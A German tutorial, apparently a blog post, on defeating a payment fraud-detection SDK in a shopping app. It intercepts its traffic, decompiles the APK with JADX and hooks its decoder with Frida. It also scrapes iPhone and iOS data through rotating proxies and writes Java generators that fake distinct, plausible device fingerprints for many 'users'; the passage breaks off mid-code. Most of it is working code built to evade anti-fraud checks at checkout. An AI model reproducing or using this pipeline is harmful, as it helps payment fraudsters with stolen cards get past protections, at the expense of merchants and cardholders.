Android APP Reverse Engineering - Metadaten faken
Analyse und Manipulation von Android App Metadaten mit Frida und JADX
Die Mission
Zahlungen sind ein zentrales Feld in der Cyber Security. Es gibt viele Betrüger die fake Kreditkarten nutzen, gestohlene Zahlungsinformationen missbrauchen oder andere Betrugsmaschen durchführen. Websites und Dienste müssen immer mehr darauf achten, wie damit umzugehen ist.
Apps und Websites schützen sich dagegen mit Systemen, die alle Details und Umstände vor der Transaktion prüfen. Systeme wie Fraud Detection X analysieren Device-Fingerprints, Verhaltensmuster und hunderte andere Datenpunkte, um legitime Käufer von Betrügern zu unterscheiden.
Manche kennen es: Die eigene Karte wird mal abgelehnt aufgrund einer "technischen Störung". Es kann sein, dass etwas die Sicherheitsmechanismen getriggert hat.
Aber wie sicher sind diese Systeme wirklich? Kann man sich drauf verlassen? Im Browser ist eine Sache, da können wir die DevTools öffnen, Requests analysieren, den Code inspizieren. Aber wirklich spannend wird es im Umfeld der mobilen Apps.
Das Problem: In mobile Apps kann man nicht einfach die DevTools aufmachen und den Website-Code einsehen oder Requests analysieren. Sie laufen in einer eigenen Umgebung, in der man nicht einfach Einblick erlangen kann.
Wie könnte man versuchen, so ein System zu knacken? Ist es möglich? Oder muss bei mobile Apps nicht so doll auf Sicherheit geachtet werden, wie beispielsweise im Browser?
Genau das ist unsere Mission heute.
Security System: Fraud Detection X Payment Protection
Ziel: Device Fingerprinting umgehen und beliebige iOS-Geräte vortäuschen
Phase 1: Mobile Proxy Setup
Wir nehmen mal als Beispielapp von Onlineshop Y. Laden wir die App auf unserem iPhone runter und fügen ein Produkt zum Warenkorb hinzu.
Wie können wir jetzt starten, das Checkout zu analysieren? Zuerst können wir versuchen, einen mobile Proxy Client zu nutzen. Ein gutes Beispiel ist Proxyman.
Dies erlaubt es, eine VPN zu aktivieren und alle von Apps ausgehenden Requests zu analysieren, zumindest solange sie nicht durch SSL-Pinning gesichert sind. Dies sollte Standard sein, aber viele Apps ignorieren das teils komplett.
Laden wir Proxyman, aktivieren SSL und gehen zum Checkout in der App.
UNDDD... SSL-Pinning Fail
Wir sehen Requests und Antworten. Es klappt! Onlineshop Y hat keine Zertifikatsicherung, wir können die Requests intercepten und mitlesen.
Kurz zur Erklärung: SSL-Pinning bedeutet, dass eine App nur bestimmte, fest einprogrammierte Zertifikate akzeptiert, nicht jedes beliebige "vertrauenswürdige" Zertifikat. Ohne SSL-Pinning kann jeder mit einem Proxy-Tool wie Proxyman ein eigenes Zertifikat installieren und sich als Man-in-the-Middle zwischen App und Server schalten. Bei Apps mit sensiblen Daten wie Zahlungsinformationen ist das ein absolutes No-Go.
Das ist die erste massive Schwachstelle. SSL-Pinning sollte bei jeder App Standard sein, die sensible Daten überträgt. Aber hier? Fehlt komplett.
Nun gilt es zu finden, welches System benutzt wird, um die Kartenzahlung zu validieren. Wenn wir zum Checkout gehen, sehen wir eine Menge Requests.
Unser geschultes Auge erkennt was Spannendes: https://api.fraud-detection-x.com
Was ist Fraud Detection X?
Fraud Detection X ist eine Fraud-Prevention-Plattform, die E-Commerce-Websites und Apps vor Betrug schützen soll. Das System:
- Sammelt Device-Fingerprints (GPU, CPU, Display, Speicher, etc.)
- Analysiert Netzwerk-Patterns und Geo-Location
- Vergleicht das Device-Verhalten mit bekannten Fraud-Patterns
- Gibt einen Risk-Score ab, der über Freigabe oder Ablehnung entscheidet
Hier wird eventuell die Kartenvalidierung liegen. Wie prüfen wir das?
Verifizierung: Fraud Detection X blockieren
Ganz einfach. Wir blockieren genau diese Requests.
App neu installieren, Requests per Proxyman blockieren und nochmal versuchen, was zu kaufen.
Tatsache, wir kriegen eine Fehlermeldung beim Bezahlvorgang. Wir haben das Sicherheitssystem gefunden.
Gucken wir uns an, welche Requests zu Fraud Detection X existieren.
Request-Analyse: Zwei Endpoints
Spannend, zwei verschiedene Endpoints:
Einmal ein /v1/connect Endpoint, mit einem spannenden Body, den wir uns später genau angucken:
Und einen /v1/data Endpoint mit einem ähnlich aussehenden Body:
Der /connect Endpoint wird am Anfang einmal angefragt, der /data Endpoint danach mehrfach mit verschiedenen Bodies. Das merken wir uns.
Body-Struktur analysieren
Aber was ist data im Body?
Sieht nach einer Art Verschlüsselung aus. Hierauf deutet auch type: "enc" hin. mobileUID könnte eine Device-ID sein, die dem Handy beim Installieren der App zugewiesen wird. signature dem Namen nach eventuell eine Signatur der Verschlüsselung.
Problem: Nur mit Netzwerk-Requests analysieren kommen wir hier nicht weiter. Wir können die Verschlüsselung unmöglich ohne Zugriff auf den Code herausfinden.
Aber wie machen wir das?
Android APK als Schlüssel
Wir gucken uns zwar aktuell die iOS-Version an, aber die selbe App gibt es auch für Android im Play Store.
Und da können wir einen entscheidenden Vorteil genießen: Alle Play Store Apps werden als .apk ausgeliefert. Diese APK-Dateien sind im Grunde ZIP-Archive mit kompiliertem Code, Resources und einem Manifest.
Diese APK können wir herunterladen und folgend analysieren. Ein besonders spannendes Tool ist JADX, es erlaubt uns, die APK zu inspizieren und den kompilierten Code einzusehen.
Problem: Durch Kompilierung ist der ursprünglich cleane Code zu reinem Chaos geworden. Und das alles in Java ist hilft genauso wenig ;)

Wie finden wir jetzt den Code, der für die Verschlüsselung zuständig ist?
Der 'enc' Such-Trick
Hier hilft ein Trick. Wenn wir genauer den Body untersuchen, entdecken wir das unscheinbar wirkende type: "enc".
Wir könnten nach "enc" im ganzen kompilierten Code suchen. Vielleicht finden wir die Stelle?
Tatsache, ein Treffer!
public final JSONObject b(JSONObject jSONObject) {
try {
JSONObject jSONObject2 = new JSONObject();
// Verschlüssele das JSON-Objekt
String b = AbstractC3709ad3.b(jSONObject.toString());
// Baue Request-Body
jSONObject2.put("data", b);
jSONObject2.put(ShareConstants.MEDIA_TYPE, "enc");
jSONObject2.put("signature", AbstractC5888id3.d(((C4381cv0) this.i).a + b.length(), "SHA-1"));
jSONObject2.put("mobileUID", ((C4381cv0) this.i).b);
return jSONObject2;
} catch (Exception unused) {
// ... Exception Handling ...
return jSONObject;
}
}Sogar ein Volltreffer. Eine Methode b, in die ein JSON-Objekt übergeben wird. Was macht sie? Sie erstellt daraus jSONObject2. Und hier wird dann MEDIA_TYPE auf "enc" gesetzt.
Aber was sehen wir? data, signature und mobileUID. Hier wird tatsächlich der Request-Body gebaut!
Data-Verschlüsselung gefunden
Fangen wir direkt mit dem Spannendsten an, oder? data = b. Wo kommt b her?
Wenn wir dem String b folgen, sehen wir, dass dieser AbstractC3709ad3.b(jSONObject.toString()) ist.
Also wird das übergebene jSONObject in die Methode b von AbstractC3709ad3 getan. Das Ergebnis ist unsere verschlüsselte data.
Aber was ist das für ne Methode?
Wir gehen in die Klasse AbstractC3709ad3 und suchen die Methode b:
// LZW-Kompression mit Custom Character-Substitution
public static String b(String str) {
if (str == null) return "";
char[] cArr = a; // Base64-ähnliches Alphabet
char[] cArr2 = b; // ROT13-ähnliche Substitution
// Initialisierung
HashMap hashMap = new HashMap();
HashSet hashSet = new HashSet();
StringBuilder sb = new StringBuilder(str.length() / 3);
int i2 = 3;
int i5 = 0; // Bit-Position
int i6 = 0; // Bit-Buffer
int i7 = 2; // Bit-Width
// Hauptloop: Character-für-Character durchgehen
for (int i4 = 0; i4 < str.length(); i4++) {
String valueOf = String.valueOf(str.charAt(i4));
if (!hashMap.containsKey(valueOf)) {
hashMap.put(valueOf, Integer.valueOf(i2));
hashSet.add(valueOf);
i2++;
}
// ... Dictionary-Building und String-Matching ...
// Bit-Shifting für Output
if (hashSet.contains(str2)) {
if (str2.charAt(0) < 256) {
// 8-bit Character
int charAt = str2.charAt(0);
for (int i = 0; i < 8; i++) {
i5 = (i5 << 1) | (charAt & 1);
if (i6 == 5) {
sb.append(cArr[i5]);
i5 = 0;
i6 = 0;
} else {
i6++;
}
charAt >>= 1;
}
} else {
// ... 16-bit Character Handling ...
}
}
// ... Dictionary-Update und Bit-Width-Anpassung ...
}
// Finales Bit-Flushing
while (true) {
i5 <<= 1;
if (i6 == 5) {
sb.append(cArr[i5]);
return sb.toString();
}
i6++;
}
}Wow. Das ist einiges. Eine Methode, die einen String übergeben bekommt, dann mithilfe eines unübersichtlichen Ablaufs verändert und wieder zurückgibt.
Warte, das klingt exakt nach einer Verschlüsselungsmethode!!
Nun müssen wir prüfen, welche externen Dependencies sie hat.
Dependencies der Verschlüsselung
Es wird a und b oft benutzt. Was ist das?
Wir folgen der Dependency und sehen:
// Character-Mappings für Custom Cipher
public static final char[] a;
public static final char[] b;
static {
// Base64-ähnliches Alphabet für Output
char[] charArray = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
a = charArray;
// ROT13-ähnliche Substitution (A->N, B->O, ... N->A, etc.)
char[] charArray2 = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm".toCharArray();
b = charArray2;
}Das ist perfekt. a und b werden am Anfang statisch aus dem String charArray generiert. Wenn wir es weiter analysieren, sehen wir: Es ist immer das Selbe!
Also a und b haben wir. Aber was ist: AbstractC2985Us1.s(str2, valueOf)?
Oh, das war leicht. Einfach ein String-Concat. Das beste: Das waren alle externen Referenzen.
Wir können also zuversichtlich sagen: Dieser verzweigte Algorithmus macht die Verschlüsselung. Ein Riesenfortschritt!
Signature & MobileUID
Signature analysieren
Nun zu signature. Wir sehen, hier kommt sie her: AbstractC5888id3.d(((C4381cv0) this.i).a + b.length(), "SHA-1")
Was ist denn die AbstractC5888id3.d() Methode?
public static String d(String str, String str2) {
try {
MessageDigest messageDigest = MessageDigest.getInstance(str2);
messageDigest.update(str.getBytes());
byte[] digest = messageDigest.digest();
StringBuilder sb = new StringBuilder();
for (byte b : digest) {
sb.append(String.format("%02x", Byte.valueOf(b)));
}
return sb.toString();
} catch (Exception e) {
return null;
}
}Oh, eine einfache Hash-Methode. Das ist ja gut, wir sehen auch direkt SHA-1.
Nur was ist: ((C4381cv0) this.i).a + b.length()?
Wir kennen bereits b. Das ist unser verschlüsselter String. Also die Länge von unserem verschlüsselten String.
Aber was ist: ((C4381cv0) this.i).a?
Sehr verschachtelt. Desto tiefer wir reingehen, desto verwirrender wird es. Verdammt. Ist das ne Sackgasse?
Momentchen, vielleicht wird es noch irgendwo anders benutzt? Wir suchen nach "((C4381cv0) this.i).a".
No way.
...
hashMap.put("x-fraud-detection-x-siteid", ((C4381cv0) this.i).a);
hashMap.put("x-fraud-detection-x-nativeapp", "2.4.14(77)");
...Da ist es. Und wir kennen es bereits aus dem Request. Es ist die siteId! (C4381cv0) this.i) stellt wohl eine Art Config-Objekt dar.
MobileUID analysieren
Nun zur mobileUID:
jSONObject2.put("mobileUID", ((C4381cv0) this.i).b);Wieder das Config-Objekt, das kennen wir schon. Wir finden leider keine direkte Referenz. Aber dem Namen und Aussehen gegeben (UUID v4) können wir mit ziemlicher Sicherheit sagen, dass es eine UID ist, die am Anfang einmal gesetzt wird und das Gerät identifiziert.
Wow, war zwar einiges an Arbeit, aber wenn wir uns einen Überblick machen, was wir haben:
- ✅
"data", Verschlüsselungsalgorithmus verstanden - ✅
"signature", SHA-1 Hash von siteId + dataLength - ✅
"mobileUID", UUID v4, Device Identifier - ✅
"type": "enc", Statisch
Aber was fehlt? Klar. Der INHALT. Unser jSONObject.
Die Verschachtelungs-Hölle
Wir suchen und suchen. Problem: Es ist alles unfassbar verschachtelt.
// Hier wird jSONObject verwendet
public void e(String str, JSONObject jSONObject) {
try {
C4381cv0 c4381cv0 = (C4381cv0) this.i;
if (c4381cv0.h.a(p1.h)) {
jSONObject = b(jSONObject); // Verschlüsselung?
}
C4381cv0 c4381cv02 = (C4381cv0) this.i;
boolean a = c4381cv02.h.a(p1.j);
Yc3 yc3 = (Yc3) this.j;
if (a) {
// ... URL-Building mit Query-Params ...
abstractC9027ua3 = new AbstractC9027ua3(1, str, yc3);
} else {
abstractC9027ua3 = new Wb3(str, jSONObject, yc3);
}
d(abstractC9027ua3); // Was macht d()?
} catch (Exception unused2) {
// ...
}
}
// Methode e() wird an 4 verschiedenen Stellen aufgerufen:
// - In h(JSONObject)
// - In g(String, JSONObject)
// - In AbstractC9027ua3.onResponse()
// - In Wb3.deliverResponse()
// ... 3 weitere Verschachtelungsebenen tiefer ...Hier wird es benutzt. Aber Methode e wird an 4 verschiedenen Stellen benutzt. Und das war es noch nicht. Verschachtelung über Verschachtelung.
Und weil JADX nicht alle Klassennamen und die ursprüngliche Struktur wiederherstellen kann, wird es umso tiefer wir gehen umso unübersichtlicher.
Nach langem Versuchen kommen wir nicht weiter. Wir brauchen ne neue Idee.
Entschlüsselung statt Verschlüsselung?
Warte. Wir kennen doch die verschlüsselten Daten in den Requests, die wir abfangen. Können wir diese vielleicht mit unserem Wissen entschlüsseln?
Oder gibt es vielleicht bereits ne Entschlüsselungsmethode?
Wir gucken uns die Klasse an, die die Verschlüsselung enthält. Und was sehen wir? Neben der b Methode existiert noch: public static String c(String str)
Könnte dies die Methode zur Entschlüsselung sein?
/* JADX WARN: Removed duplicated region for block: B:11:0x007e */
/* JADX WARN: Removed duplicated region for block: B:19:0x00b9 */
/* JADX WARN: Removed duplicated region for block: B:32:0x00d2 */
/* JADX WARN: Type inference failed for: r7v0, types: [java.lang.Object, Zc3] */
public static String c(String str) {
if (str == null || "".equals(str)) {
return str;
}
String replace = str.replace(' ', '+');
int length = replace.length();
C3528Zy0 c3528Zy0 = new C3528Zy0((Object) replace, false);
ArrayList arrayList = new ArrayList();
StringBuilder sb2 = new StringBuilder();
// Initialisiere Dictionary
arrayList.add("0");
arrayList.add("1");
arrayList.add("2");
?? obj = new Object();
obj.a = (char) ((Integer) b.get(Character.valueOf(replace.charAt(0)))).intValue();
obj.b = 32;
obj.c = 1;
char a4 = a(2, obj, c3528Zy0);
if (a4 == 0) {
a2 = a(8, obj, c3528Zy0);
} else if (a4 != 1) {
// ... LZW-Decompression Logik ...
// JADX konnte diese Sektion nicht vollständig dekompilieren
}
// ... Restliche Dekompilierung fehlgeschlagen ...
}Sieht vielversprechend aus. Aber wir haben ein Problem:
DIE METHODE IST NICHT KOMPLETT. Es gibt einen Fehler beim Dekompilieren in JADX. Wir gucken uns den Instructions Dump an, suchen den Fehler, aber keine Chance.
Sie will einfach nicht dekompilieren.
Ist es das Ende? Scheint so. Oder???
Frida: Der Game Changer
Warte, mir kommt eine sehr unkonventionelle aber vielleicht geniale Idee.
Wir brauchen ja die Methode selber nicht programmieren. Wir müssen nur die abgefangenen Requests decoden, um herauszufinden, was überhaupt verschlüsselt wird.
Aber die Methode ist doch nicht complete? Genau. Aber in der App funktioniert sie ja!
Setup: Android Emulator + Frida
Nun wird's spannend.
Wir installieren Android Studio und erstellen einen Android Emulator. Aber warum? Weil wir auf einem Emulator volle Kontrolle haben, wir können ihn rooten (Administrator-Rechte erlangen) und beliebige Tools installieren, die auf einem normalen Handy nicht möglich wären.
Mit ADB (Android Debug Bridge) können wir vom Computer aus mit dem Emulator kommunizieren: Apps installieren, Dateien übertragen, Shell-Commands ausführen. Das ist unser Werkzeug, um den Emulator zu kontrollieren.
Nun können wir 2 extrem interessante Tools installieren:
- httptoolkit, Für Request-Interception im Emulator
- Frida, Für dynamisches Instrumentation zur Laufzeit
Frida ist ein Dynamic Instrumentation Framework. Was bedeutet das? Wir können zur Laufzeit in eine laufende App "injizieren", während sie läuft, Code ausführen, Funktionen "hooken" (abfangen) und deren Input/Output loggen. Mit Java.use() können wir auf jede Java-Klasse in der App zugreifen und ihre Methoden überschreiben oder aufrufen. Perfekt für unseren Use Case, wir können die Decrypt-Methode einfach zur Laufzeit aufrufen!
Wir pushen den Frida-Server per ADB auf den Emulator und starten ihn. Nun können wir die APK installieren. Sobald wir die App starten, sehen wir die Requests zu Fraud Detection X, es funktioniert.
Live Hooking Magic
Nun der geniale Trick:
Wir nutzen Frida, um die Funktion c, wo wir vermuten, dass sie der Decrypter ist, zu hooken.
// Frida-Script: frida -U -f com.online-shop-y-l hook.js
// Hook in die laufende App injecten
Java.perform(function() {
console.log("[+] Starting Frida hook...");
// Lade die obfuskierte Klasse
let AbstractC3709ad3 = Java.use("com.fraud-detection-x.mobile.android");
// Hook die Entschlüsselungsmethode c(String)
AbstractC3709ad3["c"].implementation = function(str) {
console.log("[*] Decryption called!");
console.log("[*] Input (encrypted): " + str.substring(0, 100) + "...");
// Originale Methode aufrufen (sie funktioniert ja in der App!)
let result = this.c(str);
console.log("[*] Output (decrypted):");
console.log(result);
console.log("\n" + "=".repeat(80) + "\n");
return result;
};
console.log("[+] Hook installed successfully!");
console.log("[+] Waiting for Fraud Detection X requests...\n");
});Starten wir die App neu.
OHA. ES IST DER DECRYPTER.
Wir sehen den Input und den entschlüsselten Output:
[*] Decryption called!
[*] Input (encrypted): lv3aKHKRA1m1KHK7alkp23FReaPe2AvFKYabTKbadfazkabxKDalkavKKa...
[*] Output (decrypted):
{
"mobileUID": "3C4BD10C-68AF-481C-B931-FE46B91F0F7A",
"sentTS": 1764288532443,
"localTime": "Fri Nov 28 2025 01:08:52 GMT+0100 (GMT+1)",
"data": {
"displayResolution": "828.00, 1792.00",
"sdkVer": "2.2.6(70)",
"realDisplayResolution": "828.00, 1792.00",
"deviceModel": "N104AP",
"kernelVersion": "Darwin Kernel Version 24.6.0...",
"platform": "iPhone",
"currency": "EUR",
"deviceIdiom": "phone",
"availableStorageCapacity": "5034479616",
"totalStorageCapacity": "63933894656",
"gpuInfo": {
"name": "Apple A13 GPU",
"registryID": 4294968468,
"supportedFamilies": ["common1", "common2", "common3", "apple1", ...]
},
"simCarrier": "--",
"deviceType": "iPhone12,1",
"cpuCount": "6",
"cpuArch": "arm64",
"totalMemoryCapacity": "4040802304",
"vendor": "Apple",
"osName": "iOS",
"osVersion": "18.7.1"
}
}Wir sehen nun, was als Input reinkommt. Eine Menge Gerätedaten.
Display-Resolution, Device-Model, GPU-Info, Kernel-Version, Storage-Capacity, CPU-Count, Memory-Capacity, alles da!
Das iOS vs Android Problem
Wissen wir nicht schon alles? Nein.
Problem: Wir wollen das ja für iOS umgehen. Aber was wir gerade im Emulator dekodiert haben, sind Android-Requests. Android und iOS sind sehr verschieden, was sie an Daten rausgeben.
Die Gerätedaten auf iOS sind mit Sicherheit anders. Android hat z.B. andere GPU-Namen, andere Kernel-Versionen, andere Device-Models. Wir brauchen echte iOS-Daten.
Aber wie finden wir es heraus?
Moment. Wir haben doch am Anfang mit Proxyman die verschlüsselten iOS-Requests abgefangen! Und jetzt haben wir einen funktionierenden Decoder...
Der Trick: Wir können Frida als Decoder nutzen! Wir rufen einfach AbstractC3709ad3['c'](ENCRYPTED_STRING) auf und bekommen den entschlüsselten Inhalt.
Wir nehmen alle iOS-Requests, die wir mit Proxyman abgefangen haben, und dekodieren sie einer nach dem anderen:
// Frida Script: iOS-Requests dekodieren
Java.perform(function() {
let decoder = Java.use("com.fraud-detection-x.mobile.android");
// Unsere abgefangenen iOS-Requests
let encryptedRequests = [
"lv3aKHKRA1m1KHK7alkp23FReaPe2AvF...", // connect
"lv3aKHKRA1m1KHK7alkp23FReaPe2AvF...", // data 1
"lv3aKHKRA1m1KHK7alkp23FReaPe2AvF...", // data 2
// ...
];
encryptedRequests.forEach((encrypted, i) => {
let decrypted = decoder.c(encrypted);
console.log("[Request " + i + "] " + decrypted);
});
});Alle Event-Types dekodiert! Wir sehen jetzt genau, welche Events iOS sendet:
[Request 0] type: "app/config" → SDK Version, App Settings
[Request 1] type: "app/network" → Network Interfaces, Traffic Stats, IPs
[Request 2] type: "app/pause" → Timestamp (App in Background)
[Request 3] type: "app/active" → ALLE Device Daten (GPU, CPU, Display...)
[Request 4] type: "app/account" → Account ID des Users
[Request 5] type: "app/pause" → TimestampPerfekt. Jetzt wissen wir exakt:
- ✅ Welche Event-Types iOS sendet
- ✅ Welche Felder jeder Event-Type enthält
- ✅ Wie echte iOS-Daten aussehen (GPU-Namen, Kernel-Versionen, etc.)
- ✅ Die Reihenfolge der Events
Aber das reicht noch nicht.
Problem: Wir können nicht immer die gleichen Daten aus dem ursprünglichen Request nutzen. Immer das gleiche iPhone 12,1 mit iOS 18.7.1 und exakt der gleichen GPU? Das fällt Fraud Detection X schnell auf, besonders wenn hunderte "User" plötzlich exakt das gleiche Device haben.
Lösung: Wir brauchen eine Datenbank mit vielen verschiedenen realistischen iPhone-Konfigurationen. So kann jeder "User" ein anderes, aber plausibles Device bekommen.
Device Database Scraping
Also: Wir brauchen eine Collection an verschiedenen iPhone-Modellen mit allen technischen Details. Welche iPhones gibt es? Welche Displays? Welche GPUs? Welche CPUs? Welche Kernel-Versionen pro iOS-Version?
Problem: Es gibt keine öffentliche API oder fertige Datei, die genau das enthält, was wir brauchen. Die Daten sind verstreut über verschiedene Quellen, unterschiedliche Formate, teils unvollständig.
Lösung: Wir müssen die Daten selber scrapen und zusammentragen. Glücklicherweise gibt es Websites wie phonedb.net, die technische Spezifikationen sammeln.
iPhone Scraper
Wir schreiben ein Node.js Script, das phonedb.net durchsucht und alle iPhone-Modelle mit ihren technischen Daten extrahiert. Da die Website Rate-Limiting hat, nutzen wir Proxy-Rotation, bei jedem Request eine andere IP:
import fetch from "node-fetch";
import { parse } from "node-html-parser";
import { HttpsProxyAgent } from "https-proxy-agent";
import fs from "fs";
// Proxy-Rotation für Rate-Limiting
const proxyAgents = [];
const proxies = [
"resi.byteproxies.io:8888:user-sessionid-37989207:pass",
"resi.byteproxies.io:8888:user-sessionid-77112740:pass",
// ... 8 weitere Proxies
];
for (const proxy of proxies) {
let [host, port, username, password] = proxy.split(":");
proxyAgents.push(new HttpsProxyAgent(
`http://${username}:${password}@${host}:${port}`
));
}
let agent = 0;
let devices = [];
// CPU zu Core-Count Mapping (Apple Silicon)
let cores = {
"A17 Pro": 6, "A16 Bionic": 6, "A15 Bionic": 6,
"A14 Bionic": 6, "A13 Bionic": 6, "A12 Bionic": 6,
"A11 Bionic": 6, "A10 Fusion": 4, "A9": 2, "A8": 2
};
// DeviceType zu Darwin Kernel Mapping
let kernels = {
"iPhone12,1": "Darwin Kernel Version 22.6.0: Wed Jun 28 20:51:23 PDT 2023",
"iPhone12,3": "Darwin Kernel Version 22.6.0: Wed Jun 28 20:51:23 PDT 2023",
"iPhone13,1": "Darwin Kernel Version 22.6.0: Wed Jun 28 20:50:15 PDT 2023",
"iPhone14,2": "Darwin Kernel Version 22.6.0: Wed Jun 28 20:52:14 PDT 2023",
// ... 15+ weitere Mappings
};
async function collectDevices() {
let page = 0;
while (true) {
const overviewDoc = await getDeviceOverview(page * 29);
const deviceLinks = overviewDoc.querySelectorAll('[rel="alternate"]');
if (deviceLinks.length === 0) break;
for (const deviceLink of deviceLinks) {
const deviceDoc = await getDevice(deviceLink.getAttribute("href"));
// Extrahiere Specs aus HTML
let name = getSpec(deviceDoc, "datasheet_item_id2");
let deviceModel = getSpec(deviceDoc, "datasheet_item_id7");
let resolution = getSpec(deviceDoc, "datasheet_item_id91");
let cpuName = getSpec(deviceDoc, "datasheet_item_id15");
let gpuName = getSpec(deviceDoc, "datasheet_item_id16");
let memory = getSpec(deviceDoc, "datasheet_item_id19");
let device = {
displayResolution: resolution.replace("x", ".00, ") + ".00",
realDisplayResolution: resolution.replace("x", ".00, ") + ".00",
deviceModel: deviceModel,
deviceType: extractDeviceType(name), // "iPhone12,1" aus Name
totalStorageCapacity: extractStorage(name), // "64GB" -> BigInt
cpuCount: cores[cpuName] || 2,
cpuArch: "arm64",
gpuInfo: {
name: gpuName,
registryID: 4294968315,
supportedFamilies: ["common1", "common2", "apple1", "apple2"]
},
totalMemoryCapacity: extractMemory(memory), // "4GB" -> BigInt
kernelVersion: kernels[extractDeviceType(name)],
platform: "iPhone",
osName: "iOS",
vendor: "Apple",
simCarrier: "--",
simMcc: "262",
simMnc: "01"
};
devices.push(device);
console.log("Devices:", devices.length);
}
page++;
}
fs.writeFileSync("devices.json", JSON.stringify(devices, null, 2));
}
// Helper-Funktionen: getDeviceOverview(), getDevice(), getSpec(),
// extractStorage(), extractMemory(), extractDeviceType()
// ... (ca. 150 Zeilen für Fetch-Logic und Parsing)
collectDevices();Das Script sammelt 252!! verschiedene iPhone-Modelle mit allen technischen Details: Display-Auflösungen, Storage-Kapazitäten, GPU- und CPU-Informationen, Memory-Größen und mehr.
iOS Version Scraper
Zusätzlich brauchen wir noch iOS-Versionen und ihre Build-Nummern. Dafür scrapen wir betawiki.net:
import fetch from "node-fetch";
import { parse } from "node-html-parser";
import fs from "fs";
let oss = [];
let baseURL = "https://betawiki.net";
async function collectOS() {
const overviewDoc = await getIOSOverview();
let o = 0;
for (const osLink of overviewDoc.querySelectorAll(".wikitable td a")) {
if (o++ < 7) continue; // Überspringe Header-Rows
const osDoc = await getOSPage(osLink.getAttribute("href"));
// Grüne Einträge = Released Versions
for (const osType of osDoc.querySelectorAll('[style="color:#009245;"]')) {
let os = osType.parentNode.getAttribute("title");
if (os) {
let name;
// Parse "iOS 16.4 build 20E246" oder "iOS 16.4 bulld 20E246" (Typo)
if (os.includes("build")) name = os.split(" build ")[0];
if (os.includes("bulld")) name = os.split(" bulld ")[0];
if (!name || !name.includes("IOS")) continue;
oss.push({
name: name.replace("IOS", "iOS"),
build: osType.textContent.split(" ")[0], // "20E246"
version: name.split(" ")[1] // "16.4"
});
console.log("OSs:", oss.length);
}
}
}
fs.writeFileSync("oss.json", JSON.stringify(oss, null, 2));
}
// Helper-Funktionen: getIOSOverview(), getOSPage()
async function getIOSOverview() {
const response = await fetch(baseURL + "/wiki/IOS", {
headers: { /* ... Standard Browser Headers ... */ },
agent: proxyAgents[agent++ % proxyAgents.length]
});
return parse(await response.text());
}
async function getOSPage(path) {
const response = await fetch(baseURL + path, {
headers: { /* ... */ },
agent: proxyAgents[agent++ % proxyAgents.length]
});
return parse(await response.text());
}
collectOS();Ergebnis: 638 iOS-Versionen mit Build-Nummern.
Daten Filtern
Nicht alle Kombinationen sind sinnvoll. Wir filtern:
- iOS 16+, Ältere Versionen wären verdächtig, da kaum noch jemand iOS 14 auf einem iPhone 12 nutzt
- Kompatible Device/OS Kombinationen, iPhone 8 kann kein iOS 17
- Realistische Storage-Größen, Pro Modell nur verfügbare Varianten
Finale Datenbank: 50 iPhone-Modelle und 119 iOS-Versionen/Builds. Kombiniert ergeben sich tausende mögliche realistische Konfigurationen.
Java Implementation: Device Faking
Jetzt beginnt die eigentliche Arbeit. Wir haben:
- ✅ Verschlüsselungsalgorithmus reverse-engineered
- ✅ Alle Event-Types und ihre Struktur dekodiert
- ✅ 50 iPhone-Modelle mit technischen Daten
- ✅ 119 iOS-Versionen mit Build-Nummern
Nun müssen wir alles zusammenführen zu einem Generator, der realistische Fraud Detection X-Events produziert.
Die Herausforderung
Das klingt einfach, ist aber trickreich. Fraud Detection X sammelt extrem detaillierte Daten, und alles muss zusammenpassen:
- Konsistenz: Ein iPhone 12 darf keine A17 Pro GPU haben, die gibt's erst ab iPhone 15
- Realistische Werte: Verfügbarer Storage muss kleiner sein als Total Storage, aber nicht zu klein
- iOS-spezifische Netzwerk-Interfaces: utun4, pdp_ip1, en0, mit realistischen Traffic-Stats
- Timestamps: Müssen zur Timezone passen und logisch aufeinander folgen
- Session-Persistenz: Gleiche Device-ID = Gleiches Gerät bei jedem Request
Network Data Generierung
iOS-Geräte haben spezifische Netzwerk-Interfaces. Wir müssen realistische Traffic-Stats und IP-Adressen generieren:
public class NetworkData {
public static JSONObject networkData(String xId) {
JSONObject networkData = new JSONObject();
networkData.put("proxy", "127.0.0.1");
JSONObject trafficStats = new JSONObject();
trafficStats.put("utun4", createTrafficStat());
trafficStats.put("pdp_ip1", createTrafficStat());
trafficStats.put("en0", createTrafficStat());
trafficStats.put("lo0", createTrafficStat());
// ... mehr Interfaces
JSONObject interfaces = new JSONObject();
interfaces.put("en0", createInterfaceWithAddresses(
generateRandomIPv6LinkLocal(),
generateRandomIPv6Global(),
generateRandomIPv4()
));
interfaces.put("lo0", createInterfaceWithAddresses(
"127.0.0.1", "::1", "fe80::1"
));
networkData.put("interfaces", interfaces);
return networkData;
}
private static JSONObject createTrafficStat() {
// 70% Chance auf 0 (wie bei echten iPhones)
if (random.nextDouble() < 0.7) return 0;
return generateRandomValue(0, 3281530880L);
}
}Wichtig: Die Traffic-Stats müssen realistisch sein. Die meisten Interfaces haben 0 Traffic, nur aktive wie en0 haben echte Werte.
Device Data Konstruktion
Jetzt konstruieren wir die kompletten Device-Daten aus unserer gescrapten Datenbank:
public class DeviceData {
private static final JSONData devices = JSONData.fromFile("/data/devices.json");
private static final JSONData oss = JSONData.fromFile("/data/oss.json");
private static final HashMap<String, DeviceConfig> savedDevices = new HashMap<>();
public static JSONObject activeData(String xId, String currency, String locale) {
// Hole oder erstelle Device-Config für diese xId
DeviceConfig config;
if (savedDevices.containsKey(xId)) {
config = savedDevices.get(xId);
} else {
JSONObject device = devices.getRandomEntry();
JSONObject os = oss.getRandomEntry();
config = new DeviceConfig(device, os);
savedDevices.put(xId, config);
}
BigInteger storage = device.getBigInteger("totalStorageCapacity");
JSONObject activeData = new JSONObject();
activeData.put("displayResolution", device.getString("displayResolution"));
activeData.put("deviceModel", device.getString("deviceModel"));
activeData.put("kernelVersion", device.getString("kernelVersion"));
activeData.put("platform", "iPhone");
activeData.put("currency", currency);
activeData.put("osName", "iOS");
// Verfügbarer Storage = Total - Random Used (realistisch)
activeData.put("availableStorageCapacity",
storage.subtract(randomBigIntBetween(
storage.divide(new BigInteger("6")),
storage.divide(new BigInteger("2"))
)).toString()
);
activeData.put("gpuInfo", device.get("gpuInfo"));
activeData.put("totalStorageCapacity", storage.toString());
activeData.put("totalMemoryCapacity", device.getBigInteger("totalMemoryCapacity").toString());
activeData.put("cpuCount", device.getInt("cpuCount"));
